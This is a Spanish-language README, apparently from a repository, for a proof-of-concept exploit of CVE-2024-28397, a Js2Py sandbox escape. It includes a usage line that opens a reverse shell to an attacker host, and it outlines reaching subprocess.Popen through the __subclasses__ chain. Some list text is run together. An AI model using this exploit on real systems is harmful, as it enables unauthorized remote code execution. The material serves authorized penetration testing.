Este repositorio contiene una prueba de concepto (PoC) para CVE-2024-28397, una vulnerabilidad en la librería js2py que permite un escape de la sandbox para lograr ejecución remota de código.
Descripción
Este repositorio contiene una Prueba de Concepto (PoC) basada en Python para CVE-2024-28397, una vulnerabilidad de escape de sandbox en el intérprete de JavaScript Js2Py para Python. Cuando la aplicación objetivo evalúa código JS no confiable mediante Js2Py, un atacante puede escapar del sandbox y ejecutar código Python arbitrario. Esto puede aprovecharse para lograr ejecución remota de código (RCE) y una reverse shell en el sistema vulnerable.
Este exploit fue inspirado por el proyecto CVE-2024-28397-js2py-Sandbox-Escape de Marven11.
Descargo de responsabilidad
Este script se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas. El uso no autorizado de este script contra sistemas que no posees o para los cuales no tienes permiso explícito de prueba es ilegal y poco ético. El autor no asume ninguna responsabilidad por el mal uso o los daños causados por este script.
Acerca de la vulnerabilidad
__class__.__base__.__subclasses__, lo que lleva a la ejecución de código arbitrarioCaracterísticas
Requisitos
requests (pip install requests)/dev/tcp)Uso
python3 exploit.py --target http://example.htb --lhost 10.10.14.51 --lport 4444
--target: La URL completa del endpoint de la aplicación web vulnerable--lhost: Tu dirección IP local (usada para la reverse shell)--lport: Tu puerto local para recibir la shellCómo funciona
__class__.__base__.__subclasses__() para encontrar subprocess.Popen.Popen para decodificar y ejecutar la shell.